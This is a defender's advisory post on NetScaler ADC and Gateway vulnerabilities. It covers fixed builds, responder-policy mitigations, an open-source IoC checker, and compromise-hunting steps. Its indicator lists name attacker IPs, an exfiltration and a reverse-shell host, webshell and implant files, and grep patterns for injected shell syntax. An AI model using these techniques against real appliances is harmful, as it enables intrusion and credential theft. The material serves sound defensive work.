🛡️ Mitigation: Citrix released a new responder policy today, 3 October. With the new configuration it appears to work. Customers and partners get it from Citrix Support (open a case or use your existing one). If you already applied an earlier Citrix workaround, ask for it to be replaced with the new policy. Three things to know:

• It’s a mitigation, not a fix. The fix comes with Citrix’s new security bulletin and builds: upgrade as soon as they’re out (now out: see 4th October).
• Check that the Responder feature is enabled (show ns feature | grep -i responder). If it is off, every responder policy, including Citrix’s, is silently ignored. This has been seen in the field.
• Keep blocking outbound traffic from the NetScaler to 213.209.159[.]55, f.pylrk[.]cc / *.pylrk[.]cc, and check your firewall logs for earlier connections.

Checker v1.11 recognises a bound SAML mitigation policy by what it does, not by its name (so also Citrix’s new one), and warns when the Responder feature is off. It never prints the policy content.

4th October 2026
🚨 The SAML attack is now CVE-2026-88779, and there is a fix. Citrix published security bulletin CTX697174 late on 3 October (US time): CVE-2026-88779, a memory overflow in NetScaler ADC and NetScaler Gateway configured as a SAML Service Provider or SAML Identity Provider, CVSS v4.0 8.7 (High). Citrix has observed targeted attacks on unmitigated appliances that lead to denial of service (Citrix Tech Zone, CVE record). Citrix credits Bishop Fox and watchTowr.

• Are you affected? Only if your configuration contains add authentication samlAction (SAML SP) or add authentication samlIdPProfile (SAML IdP): grep -E "add authentication saml(Action|IdPProfile)" /nsconfig/ns.conf
• Fixed builds: 14.1-73.41, 13.1-64.28, 14.1-73.41 FIPS and 13.1-37.282 FIPS/NDcPP. Already on 14.1-73.37 or 13.1-64.24 for CTX697096? Upgrade again if you use SAML. The new builds also contain the CTX697096 fixes, so an appliance on an older build goes straight to them.
• Can’t upgrade today? Citrix’s official interim mitigation is Global Deny List signatures, delivered by NetScaler Console. You need NetScaler Console (on-premises with Cloud Connect, or the Console service), Virtual patching set to Enabled in the Console settings, and a build from 14.1-73.37 up to (not including) 14.1-73.41, or from 13.1-64.23 up to (not including) 13.1-64.28. Verify in the CLI: show appfw signatures (under *Default Signatures the Encrypted Version must be 24 or higher) and stat denylist global AAA_REQUEST (the hit counters go above 0 once attacks arrive). No Console, or a build outside that range? Use the responder policy from Citrix Support (see Mitigation).
• HA pairs on 14.1-73.37: the 14.1-73.41 release notes list a fixed issue (NSHELP-44386) where the secondary node may crash and reboot when NetScaler Console pushes signature updates to the primary repeatedly. Keep an eye on the secondary while you rely on Global Deny List, and keep the time until the upgrade short.
• Before you upgrade: the SAML note under Known issues still applies: if a samlAction accepts unsigned assertions, confirm your IdP signs them.

Citrix states that the issue affects availability and that it has not identified an impact on the integrity of customer data. On 2 and 3 October, however, commands were reported running on patched appliances (see above). Until both HA nodes run the new build, keep treating login-injection attempts since 2 October as possibly run, and keep the outbound blocks in place.

🛠️ Checker v1.12 (released 4 October) checks CVE-2026-88779 on every run. SAML configured on a build below the fixed version is red (VULNERABLE to CVE-2026-88779), also when the CTX697096 fixes are in place, and the --summary line adds cve88779=vulnerable, fixed or n/a. It checks that the SAML policy is bound -type AAA_REQUEST on every Gateway and AAA vserver (a -type REQUEST binding never sees a logon, and a global binding is not counted), and “may have run” now ends when the CVE-2026-88779 build started. New indicators: Beazley Security’s second wave and SAML-attack kit generations 2 and 3, via Gotham Technology Group and its public sources. It now checks 98 attacker IPs, 15 domains and 34 hashes.

🤝 Many NetScalers? Two community tools run a checker on many appliances and collect the reports: Julian Jakob’s NetScaler Console job templates (upload and run, then download all results as one archive), and netscaler-ioc-bulk-check by Richard Faulkner of Ferroque Systems, a PowerShell runner over SSH (built for Gotham’s check; Richard offered to add this checker).

5th October 2026
🚨 CVE-2026-88779 is on CISA’s Known Exploited Vulnerabilities list. CISA added it on 4 October and gave US federal agencies until 7 October to fix it. Citrix still describes the impact as denial of service, but a honeypot patched for CTX697096 ran a downloaded malware binary (Kevin Beaumont), so check for compromise as well, not only for crashes.

🛠️ Checker v1.13 shows the KEV status, hunts for SAML probes in the HTTP logs (User-Agent probe/1 or very long requests to /saml/login / /cgi/samlauth, thanks to Lupovis), flags randomly named *.receiver webshells in LogonPoint/custom and the Sliver implant’s files (citrix3.bad, /var/tmp/.host, via PitScaler.com), adds five attacker IPs from Huntback.io’s decoys, and for every login-injection attempt shows the download host, the likely source IP and whether the payload reached a shell (idea from the GEIGER analysis in Manuel Winkel’s triage script). Already patched? An upgrade does not remove a webshell dropped before it, so run it again with --ioc.

↑ Back to contents

Why you should take CVE-2026-88771 through CVE-2026-88778 and CVE-2026-88779 serious

CVE-2026-88771 is an unauthenticated remote code execution vulnerability that affects every NetScaler ADC and NetScaler Gateway deployment, including the default configuration. No features need to be enabled, and there is no workaround. CVE-2026-88772 is a memory overflow leading to remote code execution when DTLS is enabled, and DTLS is enabled by default on every NetScaler Gateway (VPN) virtual server. Both carry a CVSS v4.0 score of 9.5.

Both vulnerabilities were exploited as zero-days, before a patch existed. That means that installing the update does not tell you whether an attacker already got in. We have seen this pattern before with CVE-2019-19781, CVE-2023-3519 and CVE-2023-4966 (Citrix Bleed). Every time, organisations that patched late, or patched without checking for compromise, ended up with ransomware or persistent access in their network.

Also important: if you patched for CVE-2026-19490 in August (14.1-73.32 or 13.1-63.21), you are not covered. Those builds are below the new fixed versions.

And then CVE-2026-88779. It is not part of CTX697096: Citrix published it in a separate bulletin, CTX697174. Crafted SAML requests crash NetScalers that already have the CTX697096 fixes, and Citrix has observed targeted attacks. If your NetScaler is a SAML Service Provider or Identity Provider, 14.1-73.37 and 13.1-64.24 are not enough: upgrade again to 14.1-73.41 or 13.1-64.28.

↑ Back to contents

Citrix NetScaler affected

The following supported versions of NetScaler ADC and NetScaler Gateway are affected:

• NetScaler ADC and NetScaler Gateway 14.1 before 14.1-73.37
• NetScaler ADC and NetScaler Gateway 13.1 before 13.1-64.23 (released build: 13.1-64.24)
• NetScaler ADC 14.1-FIPS before 14.1-73.37 FIPS
• NetScaler ADC 13.1-FIPS and 13.1-NDcPP before 13.1-37.279

CVE-2026-88779 (CTX697174, SAML) affects appliances configured as SAML SP or SAML IdP on:

• NetScaler ADC and NetScaler Gateway 14.1 before 14.1-73.41
• NetScaler ADC and NetScaler Gateway 13.1 before 13.1-64.28
• NetScaler ADC 14.1-FIPS before 14.1-73.41 FIPS
• NetScaler ADC 13.1-FIPS and 13.1-NDcPP before 13.1-37.282

NetScaler ADC and NetScaler Gateway 12.1 and 13.0 are end of life and receive no fix. Treat them as vulnerable and upgrade to a supported version.

Secure Private Access hybrid deployments using NetScaler instances are also affected. Citrix-managed cloud services and Citrix-managed Adaptive Authentication are updated by Citrix.

↑ Back to contents

What should Customer do

Install one of the updated versions, or a later release in the same branch, as soon as possible:

NetScaler ADC and NetScaler Gateway	Version	Fixed build	Note
NetScaler ADC and NetScaler Gateway	14.1	14.1-73.37 and later
NetScaler ADC and NetScaler Gateway	13.1	13.1-64.24 and later	The bulletin lists 64.23; use the released 64.24 (see Known issues)
NetScaler ADC FIPS	14.1-FIPS	14.1-73.37 FIPS and later
NetScaler ADC FIPS and NDcPP	13.1-FIPS / 13.1-NDcPP	13.1-37.279 and later
NetScaler ADC and NetScaler Gateway	13.0, 12.1	No fix (end of life)	Upgrade to 14.1

Using SAML (SP or IdP)? Install the CVE-2026-88779 builds instead. They also contain the CTX697096 fixes, and an appliance already on 14.1-73.37 or 13.1-64.24 must be upgraded again:

NetScaler ADC and NetScaler Gateway	Version	Fixed build (CVE-2026-88779)
NetScaler ADC and NetScaler Gateway	14.1	14.1-73.41 and later
NetScaler ADC and NetScaler Gateway	13.1	13.1-64.28 and later
NetScaler ADC FIPS	14.1-FIPS	14.1-73.41 FIPS and later
NetScaler ADC FIPS and NDcPP	13.1-FIPS / 13.1-NDcPP	13.1-37.282 and later

NetScaler deployments impacted by CVE-2026-88778 must also apply a TCP configuration change (Enhanced ISN Generation). The firmware upgrade alone is not enough. See the NetScaler TCP configuration documentation.

How to enable Enhanced ISN Generation (CVE-2026-88778)

Enhanced ISN Generation is a global TCP parameter. You enable it once per NetScaler, not per load balancing virtual server or TCP profile, and it applies to all TCP-based virtual servers.

Using admin partitions? According to the NetScaler documentation, feature-specific parameters for TCP are partition-specific: they can be set independently in the default partition and in each admin partition, and only apply to the partition where they are set. Enable Enhanced ISN Generation in the default partition and in every admin partition that has TCP-based virtual servers. You can verify this on your own appliance by enabling it in the default partition and then running show ns tcpparam inside an admin partition.

According to the NetScaler documentation, the setting “increases the variance of the initial sequence numbers (ISN) generated by NetScaler while establishing a TCP connection” and applies only to TCP connections where NetScaler acts as the server (the client side). It is disabled by default.

Using the GUI

1. Log on to the NetScaler GUI and go to Configuration > System > Settings > Change TCP parameters. This opens the Configure TCP Parameters page.
   

   

2. Tick Enhanced ISN Generation. If it is unticked and you have TCP-based virtual servers, you meet the precondition for CVE-2026-88778.
   

   

3. Click OK at the bottom of the page.
4. Save the configuration, otherwise the change is lost at the next reboot.
5. On an HA pair, check that the secondary node also shows the setting enabled after synchronisation.

Verify from the CLI

show ns tcpparam | grep "Enhanced ISN Generation"

The output should now show Enhanced ISN Generation: ENABLED.

With admin partitions (CLI)

show ns partition
switch ns partition <partition1>
set ns tcpparam -enhancedISNgeneration ENABLED
show ns tcpparam | grep "Enhanced ISN Generation"
switch ns partition <partition2>
set ns tcpparam -enhancedISNgeneration ENABLED
switch ns partition default
set ns tcpparam -enhancedISNgeneration ENABLED
save ns config -all

Rolling it out with NetScaler Console
If you manage many appliances, create a configuration job in NetScaler Console (Create Job, instance type NetScaler) with the commands above as SSH commands, including a switch ns partition line for each admin partition. Select the standalone appliances and the primary node of each HA pair, test on one instance first, and verify afterwards with show ns tcpparam.

↑ Back to contents

Deep-dive insights about CVE-2026-88771 through CVE-2026-88778

CVE ID	Description	Pre-requisites	CWE	CVSS v4.0
CVE-2026-88771	Remote code execution due to improper input validation. Unauthenticated. Exploited.	All deployments, including default configuration	CWE-20	9.5
CVE-2026-88772	Memory overflow leading to remote code execution or denial of service. Exploited.	DTLS enabled (default on VPN virtual servers)	CWE-119	9.5
CVE-2026-88773	HTTP request smuggling. Discovered internally by Citrix.	LB, CS, VPN or AAA virtual servers of type HTTP or SSL	CWE-444	9.3
CVE-2026-88774	Feature policy bypass through URL normalisation. A URL that is not normalised can bypass WAF and security rules. Already addressed in builds since 14.1-72.x.	Policy expressions using HTTP URL-based expressions	CWE-16	7.0
CVE-2026-88775	Memory overflow leading to unpredictable behaviour or denial of service	Gateway (SSL VPN, ICA Proxy, CVPN, RDP Proxy) or AAA virtual server	CWE-119	8.8
CVE-2026-88776	Memory overflow leading to unpredictable behaviour or denial of service	LB virtual server of type ORACLE	CWE-119	8.8
CVE-2026-88777	Memory overflow leading to unpredictable behaviour or denial of service	LB/CS or CGNAT-LSN/NAT64 with a non-HTTP L7 feature (FTP, RTSP ALG, DNS64, NAT64)	CWE-119	8.8
CVE-2026-88778	TCP Initial Sequence Number prediction	TCP-based virtual servers with Enhanced ISN Generation disabled	CWE-342	8.8

↑ Back to contents

Check if you meet the CVE preconditions

Log on to the NetScaler shell and search the running configuration. The patterns below come from the Citrix bulletin.

CVE-2026-88771 – no check needed. Every deployment on an affected build is vulnerable.

CVE-2026-88772 – DTLS. A Gateway is vulnerable unless DTLS is explicitly disabled:

add vpn vserver vpn1 SSL 10.0.0.0 443 -Listenpolicy NONE            # DTLS enabled by default - vulnerable
add vpn vserver vpn1 SSL 10.0.0.0 443 -dtls OFF -Listenpolicy NONE  # DTLS disabled - precondition not met
add vpn vserver vs1 DTLS 10.11.1.1 443                              # DTLS enabled
add lb vserver vd_dtls DTLS 10.146.111.74 443                       # DTLS enabled

CVE-2026-88773 and CVE-2026-88774 – HTTP/SSL virtual servers:

grep -iE "^add (lb|cs|vpn|authentication) vserver .* (HTTP|SSL) " /nsconfig/ns.conf

CVE-2026-88775 – Gateway or AAA:

grep -iE "^add (vpn|authentication) vserver " /nsconfig/ns.conf

CVE-2026-88776 – Oracle load balancing:

grep -iE "^add lb vserver.*ORACLE" /nsconfig/ns.conf

CVE-2026-88777 – non-HTTP L7 protocols. Look for FTP over LB/CS, LSN groups (FTP ALG is enabled unless explicitly disabled), RTSP ALG, DNS64 and NAT64:

grep -iE "^add (lb|cs) vserver .* FTP|^add service .* FTP|^add lb monitor .* FTP|^add lsn group|-ftp DISABLED|-rtspalg ENABLED|-dns64 ENABLED|^add dns (action|policy)64|^add nat64" /nsconfig/ns.conf

CVE-2026-88778 – TCP ISN prediction:

show ns tcpparam | grep "Enhanced ISN Generation"

If this returns Enhanced ISN Generation: DISABLED and you have TCP-based virtual servers (HTTP, SSL, SSL_BRIDGE, TCP, SSL_TCP, FTP, RDP, DNS_TCP, MSSQL, ORACLE and so on), you meet the precondition.

Checker script: ctx697096_check.sh

I have written a free, read-only, open-source (MIT) shell script that checks a NetScaler against CTX697096 in one go. Download it from GitHub: github.com/ThomasPoppelgaard/netscaler-ctx697096-checker. It is provided as is, with no warranty, and it is not a replacement for the official Citrix IoC scan.

Why I wrote it
Most people ask two questions about this vulnerability: “Am I fixed?” and “Was I hacked?”. There is no single public tool that answers both.

• No public IoC scanner this time. For CVE-2023-3519 there was a public IoC scanner on GitHub. For CTX697096, the official IoCs are only available through NetScaler Console (on-premises 14.1-73.36 or later with Cloud Connect and telemetry, or the Console service) or through a Citrix Support case. Many customers have neither in place today, and a support case takes time you may not have.
• The public indicators are scattered. Since the disclosure, GreyNoise, watchTowr, Lupovis, CERT-EU and incident responders like Marius Sandbu have published webshell names and hashes, attacker IPs, exploit payloads and log patterns, across blogs, GitHub and X. Checking all of them by hand on every appliance takes time and is easy to get wrong. For example, a simple search for ; curl misses most of the real payloads, which use ${IFS} instead of spaces or hide the command as base64 in the User-Agent.
• A clean result needs context. An IoC scan only tells you what it found in the files and logs that are still there. On a real appliance I checked this week, ns.log only covered 24 hours and NAT hid every client IP. A clean scan on that box meant “nothing in the last day”, not “nothing since 24 September”.
• Patched is not the same as clean. Webshells planted before the upgrade survive it, and HA file sync copies them to the other node.

The checker brings all of this together in one read-only command that runs in seconds on the appliance, with no Console, telemetry or support case needed. It tells you whether you are fixed, whether any public indicator of compromise is present, whether attack traffic came before or after your fix, and how far back your evidence actually goes. Use it together with the official Citrix IoC scan: run the Citrix scan first where you can, and use the checker to confirm the fix, cover the newest public indicators, and judge how much a clean result is worth. I update it as new indicators are published.

Without switches: exposure and fix status

• Is the running build vulnerable or fixed?
• All eight CVE preconditions, in every admin partition. On a fixed build, met preconditions are shown as [met/fixed], so you can see what was exposed before the upgrade.
• Enhanced ISN Generation (CVE-2026-88778 still needs this config change after the upgrade).
• Upgrade traps: NS variables with 13.1-64.23, and SAML actions that accept unsigned assertions.

This part also works offline against an exported ns.conf, which is handy for checking many appliances quickly.

With --ioc: a compromise check with all public indicators, on the appliance

• Context first: when the fixed build started running (the end of your exposure window, taken from the kernel in /flash and the first boot after the install), the last boot (are in-memory traces gone?), and how many days of logs the appliance actually keeps. A clean result means little if the logs only cover yesterday.
• Compromise indicators (a command ran on the box): the .ctxs.receiver webshell by name, hash and content; any PHP in LogonPoint/custom or /var/vpn; the receiver.min.css alias in httpd.conf; files written by public exploit payloads (nx_verify.html, c88771.json, /var/tmp/wtw*, any small file containing id output); archives disguised as web files, such as a stolen /flash/nsconfig saved as xua.html; files dropped by known payloads and persistence in startup files; a setuid /bin/sh or /var/tmp/sh; web files changed on their own, with a check of their content; payload processes and open connections to attacker infrastructure. On a vulnerable box it warns when injected text is still waiting in the logs for the next daily run.
• Targeting indicators (attack traffic in the logs): injected commands in ns.log and /var/log/messages (both fake pitboss markers, ${IFS}, URL-encoded variants), base64 INDEX: payloads in the User-Agent (shown decoded), 17 known attacker IPs, probes (nsepa.deb, vp_probe_nonexist, .ctxs.receiver), exploit or scanner strings, and LDAP, key or config theft in the shell history.
• Before or after the fix: every attack line is tagged [BEFORE fix] or [after fix]. Attempts that came after the fixed build was installed and before 2 October could not run commands, so they are reported as [CHECK] instead of [SUSPECT]. Since v1.11, attempts from 2 October on are [SUSPECT] again, because the SAML attack was reported running commands on fixed builds; since v1.12 that window ends when the CVE-2026-88779 build started running. The decision uses every matching line, and [BEFORE fix] lines are always listed first (since v1.7). The output shows where the fix date comes from; if it is wrong, set it with --fixdate "YYYY-MM-DD HH:MM" (since v1.8).
• Plus nobody cron jobs and processes, crash dumps, and a summary of Gateway access with a warning when NAT hides the client IPs.

How to run it

# on the appliance, as nsroot in the shell
sh ctx697096_check.sh --ioc
sh ctx697096_check.sh --ioc --out /var/tmp/ctx697096-report.txt   # also save a plain-text report (attacker text defanged)

# offline, against an exported config
sh ctx697096_check.sh ns.conf

If you get /bin/sh^M or : not found, the file has Windows line endings: tr -d '\r' < ctx697096_check.sh > c.sh. On an HA pair, run it on both nodes: HA file sync copies webshells to the peer.

How to read the result

• [SUSPECT] (red): compromise indicators, or attack traffic from before the fix. Preserve evidence and follow the steps under “If you suspect you are compromised”.
• [AFFECTED] (red): the build is vulnerable. Upgrade now.
• [CHECK] (yellow): review manually, for example short log retention or attacks that came after the fix.
• [OK], [fixed], [met/fixed], [not met]: nothing to do.

A real example from this week: an appliance patched at 15:20 was attacked the same night and all through the next day, 81 log lines in total. v1.7 shows 9 of them from before the patch at the top, including a payload sent 1.5 hours before the upgrade. We then checked the persistent files that payload tried to write: they were never created, and the attacker’s own follow-up checks all returned 404. Result: targeted, no evidence of compromise. Because one attempt came before the patch and older logs had rotated away, the advice is still to rotate the nsroot and LDAP bind passwords and to run the updated Citrix IoC scan again.

↑ Back to contents

Known issues before you upgrade

1. 13.1-64.23 and NS variables. 13.1-64.23 may go into a cyclic reboot during the upgrade if NS variables are configured. Run show ns variable. If it returns anything, use 13.1-64.24. The released 13.1 build is 13.1-64.24, so use that one.
2. SAML: unsigned assertions are no longer accepted. Setting samlRejectUnsignedAssertion to OFF is no longer supported. During the upgrade it is automatically converted to the secure default. If your Identity Provider does not sign its SAML assertions, SAML logons will break after the upgrade. Check your IdP before you start.

   grep -i "samlRejectUnsignedAssertion OFF" /nsconfig/ns.conf

3. NetScaler Console false positive. The CVE scan in NetScaler Console Security Advisory may incorrectly flag 13.1-64.23 as vulnerable. Citrix will fix this through an automatic Security Advisory update.

↑ Back to contents

Mitigation Steps if you cannot upgrade right now

• There is no mitigation for CVE-2026-88771. Upgrading is the only fix.
• CVE-2026-88779 (SAML): Citrix’s Global Deny List signatures through NetScaler Console (Virtual patching enabled; 14.1-73.37 up to 73.41 and 13.1-64.23 up to 64.28), or the responder policy from Citrix Support, bound -type AAA_REQUEST on every Gateway and AAA vserver (below). Both are interim: upgrade to 14.1-73.41 / 13.1-64.28.
• Restrict or remove internet exposure of the NetScaler Gateway until it is upgraded, for example by allowing only known IP ranges.
• Disabling DTLS on VPN virtual servers (set vpn vserver <name> -dtls OFF) removes the precondition for CVE-2026-88772 only. Expect users on EDT/UDP to fall back to TCP.
• Enable Enhanced ISN Generation now for CVE-2026-88778. This is a configuration change you need anyway.

The SAML issue (CVE-2026-88779): keep Citrix’s responder policy easy to update

Citrix’s responder policy for the SAML issue (released 3 October, available from Citrix Support) is likely to get new versions. Thanks to a reader for this tip: put the rule in a named policy expression and let the responder policy point to it. You bind the policy once, and each update is two commands, with the same names on every appliance. That’s handy when HA pairs use different vserver names, and easy to push to all instances with a NetScaler Console configuration job.

First time (paste the expression from Citrix Support where it says <expression from Citrix Support>):

add policy expression exp_saml_mitigation_v1 "<expression from Citrix Support>" -comment "2026-10-03 via Citrix Support"
add responder policy rsp_pol_saml_mitigation exp_saml_mitigation_v1 DROP
bind vpn vserver <GATEWAY_VSERVER> -policy rsp_pol_saml_mitigation -type AAA_REQUEST -priority 100
bind authentication vserver <AAA_VSERVER> -policy rsp_pol_saml_mitigation -type AAA_REQUEST -priority 100
save ns config

Each update (no rebinding needed):

add policy expression exp_saml_mitigation_v2 "<new expression from Citrix Support>" -comment "2026-10-xx via Citrix Support"
set responder policy rsp_pol_saml_mitigation -rule exp_saml_mitigation_v2
rm policy expression exp_saml_mitigation_v1
save ns config

• Bind it with -type AAA_REQUEST to every Gateway (VPN) vserver and every AAA (nFactor) vserver, or as Citrix Support instructs.
• Check that the Responder feature is enabled (show ns feature | grep -i responder); otherwise the policy is silently ignored.
• The old expression can only be removed after set responder policy … -rule has switched over. Keep it a few days if you want an easy way back.
• If add policy expression rejects the expression as too long on your build, keep it inline in the responder policy instead (set responder policy rsp_pol_saml_mitigation -rule "<expression>").
• Check it works: show responder policy rsp_pol_saml_mitigation shows the Hits counter, and a normal SAML logon must still work.

↑ Back to contents

Check if you are compromised

Because CVE-2026-88771 and CVE-2026-88772 were exploited before a patch existed, act on the assume-breach principle. Preserve evidence before you upgrade or reboot. For at least one of the vulnerabilities, malicious code may exist only in memory, so an upgrade or reboot can wipe the traces.

1. Take a forensic copy of memory (RAM) if possible.
2. Collect a support bundle (show techsupport) and copy /var/log/*, /var/nslog/* and the Apache/httpd logs off the appliance.
3. Run the official Citrix IoC scan, using NetScaler Console or Citrix Support (see below), before you upgrade.
4. Use NetScaler Console File Integrity Monitoring to detect unexpected file changes.

Official IoC scan from Citrix

For this release, Citrix has not published a public IoC scanner script or a public list of IoCs. The generic IoCs are only available in two ways: through NetScaler Console, or through Citrix Support. CISA also recommends checking for compromise with these IoCs prior to patching.

Option A – NetScaler Console IoC scan

Requirements:

• NetScaler Console service, or NetScaler Console on-premises 14.1-73.36 or later connected with Cloud Connect. If your on-premises Console is older, upgrade Console first. After that, updated IoC content arrives through Cloud Connect without another Console upgrade.
• The NetScaler instances must be managed by NetScaler Console.
• The telemetry channel must be enabled. Without it, the IoC feature is not shown.

Steps:

1. In NetScaler Console, open the Security Advisory page and select the Indicators of Compromise (IoC) tab. The page shows the date the detection logic was last updated.
2. Accept the legal terms and conditions.
3. Start the IoC scan manually for your NetScaler instances.
4. Review the results per instance, and download the detailed CSV or PDF report for each instance: it shows which indicators matched and which IoC version was used. Earlier scan results are kept, so you can compare later.
5. Record the scan time, IoC version, appliance build and platform.
6. Re-run the scan when Citrix updates the detection logic, as new indicators may be added. The current version is v3 from 29th September (v1: 27th, v2: 28th September), so if your last scan is older, run it again. See Citrix’s IoC explainer.

Citrix documentation: Indicators of Compromise (IoC) detection and Security Advisory dashboard.

Option B – Citrix Support

If you do not use NetScaler Console, or cannot meet the requirements above, open a case with Citrix Technical Support. Reference CTX697096 and CVE-2026-88771 / CVE-2026-88772, and ask for access to the generic IoCs or for help executing the IoC scan on your NetScaler deployment. Have a support bundle ready, collected before any upgrade or reboot.

How to read the result
The Console scan returns one of five results per instance: Potentially Compromised, No Compromise Detected, Skipped, Failed to Execute or Execution in Progress. Only “No Compromise Detected” is a completed scan. Skipped or Failed to Execute means the instance was not checked, so fix the cause (connectivity, telemetry, credentials) and run it again, or use Option B. A positive result means you should treat the appliance as compromised and follow the steps in the next section. A clean result is not proof that the appliance is clean. Citrix states that the IoC information does not cover all techniques, tactics or procedures (TTPs) used by threat actors, may be of limited forensic value and might fail to identify actual compromises. Citrix recommends retaining experienced forensic investigators to assess your environment. This is different from CVE-2023-3519, where a public IoC scanner was released on GitHub.

Community indicators (unofficial)
While waiting for official information, the community has shared the following things to look at. None of these come from Citrix, and a clean result does not prove you are not compromised. My checker script runs all of these checks for you with sh ctx697096_check.sh --ioc, and tells you whether any attack came before or after your fix:

• Unexpected appliance reboots or cold restarts in recent days. Correlate the time with the HTTP access logs.
• Changes to httpd.conf.
• Modified permissions on /bin/sh.
• b64decode strings in the HTTP logs.
• Hidden (dot) files created under LogonPoint/custom.
• New crash dumps under /var/core.
• Entries in /var/log/ns.log* containing shell injection – the CVE-2026-88771 technique described publicly by watchTowr: backticks, $(, ; or | followed by a command (including fetch), ${IFS} instead of spaces, and login names that pretend to be a pitboss message. Quick check on the appliance: zgrep -E 'died NSPPE;|heartbeats.*;|\$\{?IFS|pitboss.*;' /var/log/ns.log* /var/log/messages*
• Web files under /var/netscaler/logon that changed on their own, rather than together with a whole theme rewrite or the upgrade. Look inside them: the standard LogonPoint/custom/strings.<lang>.js files are small loaders that only fetch their own .json from the appliance (they contain the word XMLHttpRequest, which is normal), so compare a changed one with the unchanged ones in the same folder. Code that sends form data to another host is a red flag.
• Base64 commands in the User-Agent of your HTTP access logs, prefixed with INDEX: (CERT-EU): zgrep -oE 'INDEX:[A-Za-z0-9+/=]{8,}' /var/log/httpaccess*. Decode what you find with echo '<value>' | b64decode -r.
• Any PHP code in LogonPoint/custom or /var/vpn, whatever the file is called. No PHP belongs there, and the webshell does not have to be named .ctxs.receiver: grep -rlE '<\?php|passthru|NSC_TASS' /var/netscaler/logon/LogonPoint/custom /var/vpn
• Files written by public exploit payloads: nx_verify.html (canary NX-CVE-OK), and files in /var/tmp such as wtw*, watchTowr* or boom. The public PoC examples write the output of id, so also look for any small file that contains uid=0(root). Their presence proves an injected command ran.
• The known attacker IPs 149.104.78.141, 78.128.113.10, 138.28.234.38, 82.167.14.7, 154.217.251.226 and 85.203.46.191 (GreyNoise, Lupovis), 143.198.7.94 and 157.254.167.12 (Mandiant), and 62.133.62.80, 31.56.197.72, 64.94.85.67, 158.94.209.12, 23.27.143.20, 68.178.160.183, 5.188.206.226, 92.118.204.229 and 149.28.29.221 (Gotham Technology Group), the domain httpworkbench.com, and the user agents ns-88771-poc and PoCbit, in your logs and firewall logs.
• More attacker infrastructure compiled by PitScaler.com (download their IoC CSV): C2 and payload hosts such as 139.180.152.138, 77.83.199.39 and 104.248.244.66, the exfiltration destination 138.199.200.90, the reverse-shell host 194.26.29.88, and the domain echvista.com. Their list also has many GreyNoise scanner IPs; some are residential or Cloudflare addresses, so don’t block on those alone.
• Mandiant’s WHIPSHOT webshell: HTTP_X_UX, or eval on HTTP_NSC_CLIENTTYPE, in files under the Gateway plugin and media folders (often named like real client packages: nsgclient*.sig, nsginstaller*, reached as /vpn/media/*.ico). The SLAPSHOT tunnel uses UXD_IDLE_EXIT. Base64 PHP starting with PD9 in a User-Agent means someone tried to stage a webshell through the access log.
• Config theft: a file such as /var/netscaler/logon/LogonPoint/xua.html that is really a tar or gzip archive (check with file or head -c 4 <file> | od -c), and c88771.json under /netscaler/ns_gui/vpn. If you find one, assume ns.conf and every private key on the box are stolen: replace the certificates and rotate every secret.
• Probes that show the box was found and tested: 1-byte requests for /epa/scripts/linux/nsepa.deb (HTTP 206 1), vp_probe_nonexist in the web logs, and requests for .ctxs.receiver.
• Files dropped by known payloads (Gotham Technology Group, Deyda): /.x, lula, /var/1.py, update_c*.pl, /var/tmp/.s, /var/netscaler/logon/insight-new.js, admin_ui/e.txt or admin_ui/log.txt, a setuid /var/tmp/sh, and Python one-liners in /flash/nsconfig/rc.netscaler.
• The public GreyNoise indicators for CVE-2026-88771: a hidden file .ctxs.receiver under LogonPoint/custom, a receiver.min alias in /etc/httpd.conf or /nsconfig/httpd.conf, requests to /logon/LogonPoint/custom/receiver.min*.css, a setuid /bin/sh, and the IP 149.104.78.141 in your logs. Note that /etc/httpd.conf is rebuilt at boot, so an alias can disappear after a reboot while the webshell file stays.
• Signs of credential theft after a compromise (Kevin Beaumont): ldapsearch, openssl or ns_gui/vpn in /var/log/sh.log* and bash.log*, PHP or shell scripts under /netscaler/ns_gui that were written after the last boot, and LDAP/LDAPS or SMB connections from the NetScaler to your domain controllers. If you find any of these, rotate the LDAP bind account password straight away.
• The Mandiant/GTIG checks: grep -Ein "application/x-httpd-php|php_flag|AliasMatch" /etc/httpd.conf (any extension other than .php, or aliases into vpn/media or vpn/scripts, is a red flag), PHP code in the Gateway plugin folders under /var/netscaler/gui/vpn/scripts/ and /netscaler/ns_gui/vpn/media/, the files /tmp/.uxdport or /tmp/.uxdlock, and DTLS “Handshake failure-Internal Error” lines in ns.log.
• The nsmon.pl Perl implant (Arctic Wolf): ls -la /var/tmp/.nsmon, grep nsmon /etc/crontab /nsconfig/crontab, and sockstat -4l | grep perl for a listener on a port between 41000 and 41999.
• The Platypus C2 agent (TENEX): ls -la /var/core/.ns-cache /netscaler.local, ls -l /var/python/bin/customsnmpd (a 19 MB file is suspicious), and ps ax | grep -E 'system-health|health-monitor|healthd|gs-netcat'.
• Backdoor admin accounts (LevelBlue): show system user and grep "bind system user" /nsconfig/ns.conf; look for sec_monitor or any account you don’t recognise. Also ls -la /var/netscaler/logon/LogonPoint/.local_journal /tmp/update_result_*.
• Cron jobs that delete or empty logs (Beazley Security): ls -la /var/cron/tabs/; crontab -l -u root; crontab -l -u nsroot, and unexpected commands in /nsconfig/nsafter.sh or /nsconfig/rc.netscaler, which run at every boot.
• How far back your logs go. Many appliances keep only about a day of ns.log, which is not enough to look back to the start of exploitation.

↑ Back to contents

If you suspect you are compromised, take action

1. Preserve evidence first (CTX694799): snapshot a VPX, collect a technical support bundle (show techsupport), copy /var/log and your remote syslog off the box, and note the system time, time zone and NTP settings so timestamps can be lined up later. A packet-engine core dump also captures memory, but it causes a warm restart. On MPX/SDX hardware, follow your incident response process for disk imaging.
2. Isolate the NetScaler from the internet and from your internal network, but keep it powered on until evidence is preserved.
3. Start your incident response process and involve a forensic partner. Follow Citrix’s Steps to Take if NetScaler ADC is Suspected to be Compromised (CTX694799), which CISA also references.
4. Do not just upgrade the compromised appliance: the update does not remove compromise artifacts. Citrix recommends deploying a new, updated NetScaler instance and migrating the configuration in a controlled, security-reviewed way. Do not rely on HA synchronisation from the suspect appliance.
5. After the upgrade, terminate all existing sessions:

   kill icaconnection -all
   kill rdp connection -all
   kill pcoipConnection -all
   kill aaa session -all
   clear lb persistentSessions

6. Rotate every credential stored on or passing through the NetScaler: nsroot and admin accounts, LDAP/AD bind accounts, RADIUS secrets, OAuth and API keys, SNMP community strings, service accounts, and SSL certificates and private keys (revoke the old certificates). Rotate the Key Encryption Keys (KEK) too, and reset the passwords of users who logged on through the compromised Gateway. Check for admin accounts you don’t recognise (show system user).
